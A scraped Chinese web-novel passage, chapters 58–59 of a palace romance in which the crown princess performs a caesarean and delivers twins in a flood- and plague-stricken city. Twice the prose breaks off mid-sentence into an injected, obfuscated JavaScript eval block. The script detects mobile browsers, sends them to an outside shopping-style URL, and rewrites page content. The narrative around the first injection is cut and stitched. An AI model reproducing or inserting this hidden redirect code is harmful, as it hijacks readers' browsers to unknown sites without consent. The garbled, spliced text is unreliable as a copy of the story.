她扶起萧长离,又去端白粥,拿勺子搅拌几下,坐到榻上,勺子送到萧长离嘴边。萧长离张嘴,细细咽下。 满满的一碗白粥,萧长离吃得很慢。 两人谁也没说话。 吃完后,林若华起身,拿起托盘与空碗:“你好好休息。我让人把碗送出去就回来。” “嗯。” 林若华出去了,门轻轻合上。 门口还是那两个侍卫,目不斜视地守在门前,她一时不知该把东西交给谁,就这样和他们一起呆站在门前。 最开始她以为自己了解前辈,他们在现代相识,见过他温柔的样子,体贴的样子,耐心的样子。 后来她以为自己了解萧长离,这个世界里的太子,拥有和前辈一模一样的脸,却有着完全不同的经历。他乖张、多疑、心狠手辣。 最后发现其实她也不了解前辈,那个仿佛永远没有脾气的人,真的是他吗? 这个人到底在想什么呢?林若华在心里问着。 真想知道他的想法。 屋里,萧长离抬起双手,放在眼前,又慢慢垂下。 他转过头,看向紧闭的房门。门外很安静,可她一定还在那里。 萧长离忽然笑起来,神情高兴又难过,一半欢喜一半忧愁,最后只得闭上眼睛,嘴角却仍含着笑意。 58. 巧遇 “表妹啊——” 未见其人,先闻其声。 这声音带着三分戏谑、三分张扬,还有四分玩世不恭,惊醒了内院腊梅树上打盹的两只麻雀。 站在门前的林若华正面无表情地发呆,原本思绪早已飘回昔日的高楼大厦,被这一嗓子硬生生给拽了回来,清冷的脸顿时皱成一团儿,活像个大肉包。 来人正是叶景谦,穿着他那身骚包红衣,摇着他那把金陵折扇,端的是风流倜傥又玉树临风,就连腰间的羊脂玉佩都系着两块,生怕别人瞧不见他一样。 叶景谦大摇大摆走到林若华跟前,桃花眼笑得弯弯:“表妹啊,你怎么这副表情?表妹夫可在里头?我正到处寻他呢,苏南冷着脸子死活不肯告诉我,我只好自己找,翻遍大半个曹州府衙,腿都快跑断了,愣是没找着人影。我刚醒,凌北那傻大个儿就让我去抓什么老鼠。你说说,我容易吗?” 叶景谦一来嘴巴就不停。 林若华眉头微微一挑,打断他:“你等一下,咯,你拿着去厨房。” 叶景谦低头看着被硬塞进来的托盘与空碗,眨巴眨巴眼睛,又勾起嘴角,嬉皮笑脸道:“表妹啊,你这是拿我当跑腿的小厮使唤啊?表哥我好歹也是个世子,不过既然是表妹吩咐,那为兄就勉为其难……” 话音未落,“咣当”一声,房门突然被猛地拉开。 叶景谦的话戛然而止,下意识往林若华身后看去。 林若华也转过头,只见已经穿戴整齐的萧长离站在门内,同样一袭红色锦袍,腰间玉件叮叮当当足有十余个,较之叶景谦更显贵气非凡,脸上也不见丝毫病态。 可那张脸上,此刻满是阴厉,正死死盯着叶景谦,目光十分不善,仿佛在看一个死人。 叶景谦脸上的笑意僵住,下意识咽了口唾沫:“表、表妹夫。” 萧长离的丹凤眼眯起:“谁准你胆敢如此称呼孤的?叶世子,你是不是活得不耐烦了?” 他往前踏出一步,周身气势蓦然全压在叶景谦身上。 叶景谦往后退了一步,手中托盘差点没端稳。 心里不禁暗暗叫苦,他当然知道这位太子殿下的脾气,偏偏这两天自己大病初愈,得意忘形,方才一口一个“表妹”叫得亲切,全然忘了眼前这位可不是他能随意调侃的姑娘。 萧长离又往前踏了一步。 林若华见状,连忙侧身挡在萧长离身前,扯了扯萧长离的衣袖,又对叶景谦道:“对,办公时还是要庄重些。” 简单的说,就是工作的时候称职务。 叶景谦也立刻反应过来,连忙躬身行礼:“臣拜见太子殿下、太子妃娘娘。” 还不忘端着托盘。 萧长离的目光从叶景谦身上移开,落在林若华身上,脸色这才缓和下来,已没了方才的杀气。 他又看向还在躬身行礼的叶景谦,不耐道:“你有什么事?快说。” 叶景谦直起身,对上萧长离的冷脸,原本想换一件差事的话愣是没敢说出来,随即眼珠子一转,立马换了个说法,正色道:“殿下,臣今日前来,是有要事相商。” 萧长离挑眉,示意他继续。 叶景谦道:“殿下,臣刚痊愈,就听闻殿下连日来未曾露面,外头有人议论,只当是殿下出了什么事。依臣之见,不如请殿下去城中巡查一番,以安民心。” 太子本人能在街头走一遭,谣言自然不攻自破。 萧长离紧盯着他,带着十足的审视。 叶景谦被盯得心里直发毛,面上却还要撑着不让自己露怯。 林若华侧过头,凑近萧长离低声道:“城中要处理的事情那么多,不如让我先去看看吧。昨天瘟疫的药分发下去,今早凌北来回话,说没有人再离世,我去看看情况,你好好歇着。” 她担心萧长离才刚醒,身体还没完全恢复,想要萧长离再休息一日。 林若华说完,抬眼看他。 萧长离垂眸看她,对方眸中满是自己。 嘴角悄悄弯起,又强压下来,再开口时,萧长离板起脸,故作凶恶,对叶景谦道:“下次可别忘了规矩,叶世子。否则,别怪孤不客气了。” 叶景谦连连点头:“是,臣记下了。” 萧长离又低头看林若华,整个人温和许多:“孤无事,太子妃陪孤一同去吧。” 林若华眨眨眼,随即点头:“好。” 叶景谦:“……” 他站在一旁,看着这前后两张截然不同的面孔,嘴角忍不住抽了抽。 喂,你刚才笑了吧?我看到了啊,变脸也没你这么快的。 他默默腹诽道。 等出门时,一行人浩浩荡荡。 萧长离与林若华走在最前,身后跟着苏南、凌北、叶景谦和任来凤,以及剩余的十八位禁军。 曹州城已经不是他们初来时的那副繁华的模样。 瘟疫解除后,街上的人渐渐多了起来。人们摘下了脸上的面巾,露出一张张疲惫而沧桑、悲伤且麻木的面孔。 在官吏的组织下,士兵们与其余青壮一同清理街道角落剩余的淤泥,修缮起遭洪水冲垮的房屋与城墙,还有老人小孩,在街边支起简陋的小摊,卖点粗布和蔬菜。 每个人都各自忙着各自的事,一行人也没有去故意惊扰,有官员认出太子,正欲行礼,也被凌北等人止住,终是并未声张。 叶景谦摇着扇子,左顾右盼,见到两旁的情景,难得地收起玩世不恭的样子,叹道:“哎,回想起我们刚进曹州城的那日,好好的曹州城如今变得满目疮痍,不知何时才能恢复。” 没人接话。 若是往常,任来凤早就来接他话茬了,开口就是引经据典,滔滔不绝。 可今日,任来凤也只是沉默地跟随在萧长离身后,路上一言不发。 有些痕迹终究无法抹去。 坐在门口发呆的佝偻老人,手里紧握一只小小的棉鞋,蹲在路旁哭泣的年幼孩子,脚边是两堆焚烧过的纸钱。 林若华抿着唇,心头难受得很。 就在此时,前面突然传来哭喊声,哭得撕心裂肺,不禁令人动容。 “怎么回事?我去看看!”叶景谦收了扇子就往前冲。 萧长离与林若华对视一眼,也同时加快了脚步。 一座有些破败的小屋子,勉强能遮挡些风雨,是暂时安置百姓的地方。很多百姓的房子在洪水里被完全冲垮,只能挤在临时收拾的屋子,等着官府安排。 此时屋内站了不少人,一个老妇、一个少妇、一个少女以及三个孩子,全都围着一个人。 叶景谦踏进门,一眼就瞧见正中间被围住的褐衣女子,顿时眼睛都亮了:“水姑娘!你怎么在这里?” 他昨日就打听到了水玉镜的姓名,想着亲自道谢。可奇怪的是,水玉镜好像在故意躲着他,他找了半天,愣是没找到人。 他还纳闷呢,自己有这么讨人嫌吗?没想到今日在这里遇见了,这可真是有缘千里来相会。 水玉镜正心烦意乱。她今日是来给百姓看病的,恰好遇到有产妇难产,谁知事情远比她想的复杂。 胎位不正,要么保大,要么保小,没有第三条路。 可这家人谁也下不好决心。 她正想着劝他们尽快做决定,就见一个穿着红衣的男人冒冒失失地就闯了进来。 水玉镜顿时柳眉微蹙。 又是这个登徒子。 水玉镜自然是没有好脸色,连多余的一眼都未分给他,更别说搭话。 叶景谦却是不死心,还想再往前凑两步,谁知刚抬起脚,就被人拦住了去路。 “叶世子,请自重。” 叶景谦一愣,拦住他的是一个面容清俊的年轻男子,正挡在水玉镜身前,警惕地看着自己,像是在防贼。 叶景谦看看他,又看看水玉镜,把扇子慢悠悠地摇了起来:“这位公子,你认识在下?仔细瞧着,你倒有几分面熟啊。咱们见过?” 水清辉沉着脸,没有说话。 他当然见过叶景谦。在京城时,这位世子爷可是出了名的纨绔,整日里逗猫遛狗,招摇过市,没少被人议论。水清辉虽是不受宠的庶子,却也听过他的名头,知道他是个什么德行。如今见他凑到自家妹妹跟前,那是愈发警惕。 他刚要开口表明身份,内屋里又传来一阵凄厉的哭喊声。 “啊——” 水玉镜脸色一变,连忙转身对着身旁的老妇说:“你们赶快下决定,是保大人还是保孩子?不能再拖,再拖下去大人孩子都保不住!” 老妇双手颤抖着抓住水玉镜的手:“保我媳妇,保我媳妇!她是个好媳妇。我儿子已经没了,不能再没了她啊……” 她一边说着,一边泪水止不住地往下流。 内屋里的产妇听到外面的对话,用更惨烈的声音喊道:“不!保孩子,保孩子!这是二郎唯一的血脉啊!” “弟妹,你别这么想不开,你要先活下来啊!”另一个妇人咬咬牙,看了看身边两个女儿,大的才六岁,小的才五岁。 她狠了狠心,把二女儿往前一推:“这样,我把二丫过继给二郎,让她以后给二郎烧纸上香。” 被推出来的小女孩不知所措,只是攥住娘亲的衣角不放。 萧长离与林若华一进门,就发现老老少少乱作一团。 屋子太小,站了这么多人更加拥挤,其他人只得在门外等候。 萧长离目光扫过乱糟糟的屋子,不觉皱起眉头。 林若华开口询问叶景谦:“这是怎么回事?” 叶景谦听见问话,一脸茫然:“我也不清楚啊,好像是有妇人难产。” 林若华又看向水玉镜。 水玉镜摇摇头,她见惯生死,可生死抉择之时,依旧无奈:“这个妇人动了胎气,提前生产。偏偏胎位不正,孩子横在里头出不来。” 她顿了顿,声音低了下去:“只能选择保大或者保小。她自己想要保小,要为亡夫留下血脉。可家中的其他人,都想保大。” 林若华听着,目光落在内屋的门帘上。说是门帘,其实就是块破旧的粗布。 内屋又传来产妇的喊声:“孩子没了,我也不活了!” 听着里面的动静,老老少少哭得更厉害了。 孩子们还不明白发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她又转向萧长离:“长离,你那里还有青霉素吗?” 青霉素是为了预防感染。她知道青霉素不是最适合的药物,但是没有办法,眼下没有头孢唑林。 萧长离从进屋就一直没有开口,只是静静地站在一旁。他看着林若华脸上认真的神情,看着她闪闪发光的样子,说道:“有,我吩咐凌北去取。” “还有烈酒,再煮一些干净的棉布来。要快,不然产妇血崩,要输血就更麻烦了”林若华紧接着对屋外说,“苏南,你进来一会儿帮我按住产妇。等下开刀的时候,她可能会动。” “是。”门外的苏南挤了进来,掀帘而入。 “我去准备烈酒和棉布。”水清辉说完转身就走。 “太、太子妃娘娘,您这是要怎么做?”老妇虽然畏惧林若华的身份,但是此刻对儿媳的担忧胜过了畏惧。 林若华脸色严肃,丝毫没有玩笑的意味:“我要进行剖宫产。” “剖、剖、剖……”老妇两眼一翻,只觉得天旋地转。 “婆婆!” “奶奶!” “娘啊!” 林若华赶紧上前检查,翻开老妇的眼皮,又摸了摸脉搏,确定没有大碍,才松了口气:“没事,只是晕过去了。你们先出去吧,把她安置到别的屋子里休息,不要妨碍在这里。” 她站起身,对这一家子人承诺:“放心,会没事的。” 大儿媳妇扶着老妇,老妇大女儿牵着小妹与两个侄女,离开时一步一回头。 一时间,屋子里安静下来,只剩下内屋产妇的呻吟。 林若华转身,掀开门帘,进了内屋。 “这……表哦不对,太子妃娘娘,真要这么做啊?不会有问题吧?”叶景谦看向晃动的门帘,又开始摇起扇子,还摇得飞快。 万一一尸两命,就算是太子妃,也不仅仅是名声受损那么简单的事。 朝中等着抓太子把柄的人可都盯着呢。 “不会出事的。”萧长离开口。 叶景谦转头看向一旁的萧长离,却见萧长离淡淡地笑了,眉眼都柔和起来,带着一种说不出的温柔。 见鬼。叶景谦在心里暗骂一声。他竟然会把温柔这个词用在萧长离身上。 “我相信她。”萧长离的目光落在门帘上,“她不会有问题。” 叶景谦把目光也转回内室,有块帘子挡着,什么都看不到。 “不会有问题吗?”水玉镜一手端着麻沸散,一手抱着个木盆,木盆里有煮好的棉布,手指上还拴着一小瓶烈酒。 她走进来,看到还在呻吟的产妇和她身旁的苏南,又回头看向林若华。 林若华正从木箱里取出手术刀,刀平日里是用棉布包好,使用时再一层层打开。 内室更加昏暗,好在水玉镜早有准备,在床边点了十几盏油灯,四周照得亮堂。 林若华盯着手中锋利的手术刀:“不会有问题。” 59. 手术 放下手术刀,林若华来到产妇身旁。 产妇躺在硬邦邦的木板上,只盖着一条破旧的棉被,在这寒冬腊月间显得格外单薄。再下面,是两条用来支撑的长凳,中间空空如也。 林若华的眉头微微蹙起,这样的条件实在棘手,可时间不等人。 她俯下身,轻声问道:“你怎么样?我马上帮你做手术。” 惠娘只觉浑身都疼得厉害,牙齿止不住地咯咯作响,可她已顾不上这些。 她方才听得真切,眼前这位衣着富贵的美丽女子,竟是传说中的太子妃娘娘。 太子妃啊。 对她们这样的穷苦人家来说,那是想都不敢想的人物。可就是这样一位高高在上的娘娘,此刻就站在她身旁,说要给她做什么手术。 “娘、娘娘……” 她用尽全身最后的力气,努力抬起手,颤抖着朝林若华伸去。 林若华连忙握住,对方的手很凉,手心却全是汗。 “娘娘。若是我、若是我死了,是我自己没有福分……求求您,求求您……” 她说到这里,眼泪霎时涌出,与脸上的汗水混作一团:“能不能,能不能,照看一下我的孩子?求求您,只要让他有一口饱饭吃,他会给您做牛做马……” 惠娘的声音渐渐弱下去,说话断断续续,最后只剩下微弱的喘息。 她心里清楚,自己这个身子,八成是撑不过去的。她也明白剖腹取子意味着什么,隔壁周家嫂子难产,稳婆也是这样切开肚子取出孩子,孩子出来了,大人没了。 大家都说,生产的女人,阎王面前走一遭。她能怎么办? 她不怕死,可她怕孩子往后的日子难过。丈夫已经没了,婆婆待她好,可婆婆老了,大嫂自己也有两个孩子要养,还有两个小姑子,一家子吃了上顿没下顿。 她能想到的最后一点出路便是,孩子能跟着太子妃,起码不用为吃穿发愁,能平平安安长大。 林若华握紧她的手,柔声安慰着:“你和孩子都不会有事。孩子已经没有父亲了,不能再没有母亲。你要活着,亲眼看着孩子长大。为了孩子,也要撑下去,听到了吗?” 她顿了顿,轻轻叹了口气:“孤儿是很难的。” 林若华心里清楚,一个没有父母庇护的孩子,任谁都能踩上一脚。 她眨了眨眼,把涌上的那点苦涩压了回去。 惠娘的眼泪流得更凶了,只喃喃道:“我叫元蕙娘,我夫君叫作何二春……” 林若华轻轻放下她的手,转身看向苏南和水玉镜。 苏南刚从外面取回一个小包袱,里面是凌北送来的青霉素。水玉镜将木盆和烈酒放在一旁凳上,手里还端着麻沸散。 “我们准备开始。”林若华挽起袖子。 她先看向苏南:“苏南,待会儿她会睡着,但药效不一定够,万一她疼醒了乱动,你要按住了,千万不能让她挣扎。” “是,小姐。”苏南走到惠娘头侧,随时准备用力。 “水小姐,你先给她喂下麻沸散。”林若华又转向水玉镜,“稍后你协助我。手术中听我安排,孩子出来后你负责照顾孩子,我给产妇缝合。” “好的,娘娘。”水玉镜扶起蕙娘,将麻沸散慢慢喂进她嘴里。 惠娘整个人在微微发抖,不知是怕还是疼。但她还是吞咽着,一口一口把药喝完。 药效来得极快。 蕙娘的眼睛慢慢合上,头一歪靠在枕上,身子也软了下来。 屋内早已备好热水,就放在一旁的架子上,原是为孩子出生后清洗用的。 林若华走到盆边,开始仔细洗手。洗完手,她取出树胶手套戴上。 接着,她拿起烈酒,咬开瓶塞,倒出一些在干净的棉布上,擦拭刀刃消毒。然后又倒了些在另一块棉布上,来到蕙娘身边。 “打开衣裙,露出肚子。” 水玉镜上前解开衣物,露出高高隆起的腹部。 林若华俯身用蘸了烈酒的棉布为惠娘腹部消毒。惠娘沉沉睡着,毫无反应。 “可以了。”她放下棉布,下刀了。 水玉镜屏住了呼吸,她随师父学医多年,见过的病症无数,却从未见过剖腹取子还能让母亲活下来的先例。最终都是母子俱亡,或勉强保住孩子。 所谓的剖腹,剖开肚子取出孩子,母亲必死无疑,乃至大禹的母亲亦未能幸免。 好奇,质疑,还有一丝不可为外人道的兴奋,让水玉镜睁大了眼睛。 她一刻也不肯眨眼,看着林若华的刀刃划开皮肤,出血没有她预想中汹涌,只有少量渗出,被林若华用棉布迅速擦去,远不像她从前见过的那些血崩场景。 林若华的手很稳,一层一层打开,然后水玉镜看见了胞宫。 “拿刀。放手术盘上。”林若华手没有停。 水玉镜立刻伸手,接过那把沾着血的手术刀,放在旁边的盘子里。 很快,林若华从切开的子宫里托出一个湿漉漉的小东西。 “剪刀。” 水玉镜递过去。 “接着。” 水玉镜接过剪刀。 林若华一手提起他的两只小脚,一手在他屁股上用力一拍。 “哇,哇——”小婴儿的啼哭响起。 “接着。” 水玉镜连忙把早已准备好的包被展开,将婴儿接过来。 “还有一个。” 水玉镜低头看向手中的婴儿,又看向林若华,只见林若华的手还在蕙娘腹中摸索。 “包被只有一个。” 蕙娘的家人只准备了一个包被,大概谁也没料想会是双胎。 林若华手已经托出了第二个孩子:“拿我的斗篷。” 水玉镜暂时将婴儿交给苏南,转身拿起林若华进门时嫌碍事脱下的白色斗篷。 斗篷是上好的皮毛制成,毛茸茸的,柔软暖和,是他们来曹州时萧长离特意为林若华准备的。 水玉镜捧起斗篷走过去,看着林若华处理第二个婴儿,同样是一巴掌拍下去。 “哇——” 两个孩子的哭声此起彼伏。 见水玉镜裹好第二个婴儿,林若华嘱咐:“拿出去给他们,你再进来给我擦汗。” 她说这话时,额上已带有汗珠。 水玉镜点头,抱着两个孩子转身走出内室。 “拿着。”水玉镜径直走到叶景谦面前,一手一个,不由分说地把两个孩子塞进他怀里,又转身回了内室。 “啊?”叶景谦还没反应过来,怀里就多了两个哇哇大哭的团子。 他左手托一个,右手托一个。两个小家伙可不管他是世子还是柿子,只管扯着嗓子大哭,小胳膊小腿还在不停乱蹬。 “不行不行不行,要掉了要掉了!傻大个儿,不是,凌北凌大人你快来接着啊!”叶景谦手忙脚乱,手里的折扇掉了也顾不上捡。 比凌北更快的,是他身旁的萧长离。 萧长离上前一步,伸手接过那个裹着白色斗篷的婴儿。 他低头看着怀里的婴儿,小家伙边哭边小手乱挥,小脸都皱成一团。 萧长离嘴角慢慢弯起来,露出一个温柔至极的笑容,轻轻摇晃着哄起来。 叶景谦见状,连忙抱着剩下的孩子后退一步。 他凑到凌北耳边,压低声音对他说:“凌大人,我好害怕啊,你见过你家太子殿下这副模样吗?” 凌北面无表情,只是默默摇了摇头,可心里早已翻江倒海。 他跟随殿下多年,何时见过殿下哄孩子?害怕?他也害怕! 就在这时,任来风走了过来。他看看萧长离怀里的孩子,又看看叶景谦怀里的,捋着胡子笑道:“哎呀呀,双生子,大吉之兆啊!太子殿下,您这一抱,可是抱来了好兆头!” 萧长离没有抬头,只是轻声说:“嗯,是好兆头。” 内室里,林若华正为惠娘注射青霉素。 水玉镜不知道她在做什么,只见她拿着一个奇怪的东西往蕙娘手臂上扎,并未有多问,只是拿着帕子,轻轻为林若华擦拭额头上的汗。 林若华拿起镊子,夹起针,开始缝合。针是普通的绣花针,线是特制的鱼肠线。 一层又一层,约莫半个时辰,缝合终于完成。 她脱下沾满血迹的手套,走到木盆前重新洗手。水凉了也不在意。 林若华转过身,对苏南和水玉镜露出疲惫的笑容:“大家辛苦了。” 说完,她一下子坐在地上,也不管地上干不干净。 水玉镜伸手搭上蕙娘的手腕,脉象平稳,还活着。 师父啊,您若能看到这一幕该多好。 水玉镜的心怦怦直跳,猛地转头看向坐在地上的林若华。 真的成功了,剖腹取子,母亲竟然真的活下来了! 此人到底是何方神圣? 林若华喘着气,觉得口渴得厉害。 就在这时,一碗水出现在她眼前,顺着端碗的手望上去,是苏南。 “干净的,小姐。” 林若华看着她,忽然愣住了。 苏南在笑,声音虽还是冷冰冰的,嘴角却微微弯起,的确是在笑。 她认识苏南这么久,苏南向来冷若冰霜,她好像从未见苏南笑过。 林若华接过碗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319563|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几口就把水喝了个干净,饮下温热的水,整个人都舒服了些。她把碗递还给苏南,又朝她伸出手。苏南会意,握住她的手用力一拉,把她从地上拉起来。 林若华站稳,整理了一下衣裙,收拾好东西,挎上小木箱,转身走出内室。 一掀帘子,就见萧长离正笑着等她。 “咦,孩子呢?”林若华看向萧长离,也笑了起来,又扫了一眼他身后一脸古怪的叶景谦和面无表情的凌北。 “刚给他们家人送过去了。”萧长离解释道,“属下禀告,那老妇刚醒了,我怕她来打扰你。你怎么样?” 林若华揉了揉眼睛:“有点累,看你们都是两根大蜡烛。” 她指的当然是穿着红衣的萧长离和叶景谦。 萧长离轻笑一声:“我们先回去吧,你也累坏了。” 林若华摇摇头,回过头看向内室。苏南正端着东西走出来,水玉镜还守在蕙娘床边。 “水小姐还在等着产妇苏醒。先把产妇的家人都叫过来吧。一会儿让她们都转移到曹州府衙,那里条件好些,方便照看。产妇和孩子都需要观察。” 萧长离闻言,吩咐道:“凌北,你去安排。” “是!”凌北抱拳行礼,快步离开。他走得飞快,终于找到一个可以逃离此处的正当理由了。 萧长离又俯身凑到林若华耳边,轻声问:“紧张吗?” 林若华的心还在怦怦跳着:“紧张。但是手不能抖。” 她以前参与过剖宫产手术,但这次是她第一次独立主刀,还是在这样简陋的环境里。 她成功了,母子三人都平安,太好了。 门外传来孩子的啼哭声。老妇和她的大儿媳妇各抱着一个婴儿从外面走进来,后面跟着大女儿,牵着三个大大小小的孩子。 一进门,老妇看到林若华,二话不说,抱着孩子就要往下跪。 林若华伸手扶住她:“不必如此。” 老妇跪不下去,只能哽咽道:“太子妃娘娘,您是救苦救难的活菩萨啊。您救了我儿媳妇,救了我的孙子孙女,您是我们全家的大恩人啊。” 大儿媳妇嘴里也不停地说着感激的话。那少女也跟着跪下,磕了个头,抬头时眼睛红红的:“谢谢娘娘救下了二嫂嫂。” 就在这时,内室传来水玉镜声音:“她醒了!” 老妇和大儿媳妇赶忙抱着孩子掀帘进去。林若华也跟了进去。 产妇已经醒来,有些疲惫地躺着,目光落在婆婆和大嫂怀里的两个孩子上,还未开口,眼泪就先流了下来。 “是一儿一女啊。”老妇给媳妇儿说着,又抹了抹眼泪。 见林若华进来,蕙娘挣扎着想要起身行礼。 林若华快步上前,按住蕙娘的肩膀:“不要乱动,小心伤口裂开。” 然后又对老妇和大儿媳妇道:“你们随我去府上,大人和孩子都要再观察一段时间,以防感染。” 老妇连连点头,激动得语无伦次:“是是是,娘娘说什么都是。娘娘说去哪里就去哪里,我们全家都听娘娘的。” 产妇用担架抬了出去。天气冷,担架周围围了一圈布挡风,遮得严严实实。 破烂的街道上人来人往,这么大的动静,吸引了不少百姓驻足观看,小声地议论起来。禁军把探头探脑的人拦住,维持秩序。 老妇一边抱着孩子跟在担架旁,一边给围观的人解释,此时的她中气十足,生怕别人听不见:“太子妃娘娘是活菩萨啊!她救了我儿媳妇,救了我孙子孙女。剖开肚子救的,大人孩子都好好的。这真是神仙手段啊!” 百姓们议论纷纷,有人惊叹,有人不信,有人好奇地伸长脖子往里瞧。 “剖开肚子,人还能活?真的假的?” “不知道,看着倒像是真的。” “太子妃娘娘?就是那个与太子殿下一起来赈灾的太子妃娘娘?” “对,就是她。我听说了,她昨日还在施药呢。” “那可真是活菩萨啊。” 叶景谦摇着扇子,慢悠悠地走在队伍后边:“这可比抓老鼠有意思多了。” 说完,他又转头看向护在产妇旁边的水玉镜。 任来凤不知何时凑了过来,顺着他的目光一看,立刻板起脸来:“哎呀呀,叶世子你怎么一直盯着人家女眷看?你懂不懂什么叫作礼义廉耻?老夫真是不屑于与你为伍!” 说罢,一挥衣袖,大步走到前面去了。 叶景谦:“……” 他盯着任来凤越走越快的背影,张了张嘴,愣是一个字都没说出来,最终郁闷地收起扇子,在手里敲了敲:“算了算了,懒得跟你计较。”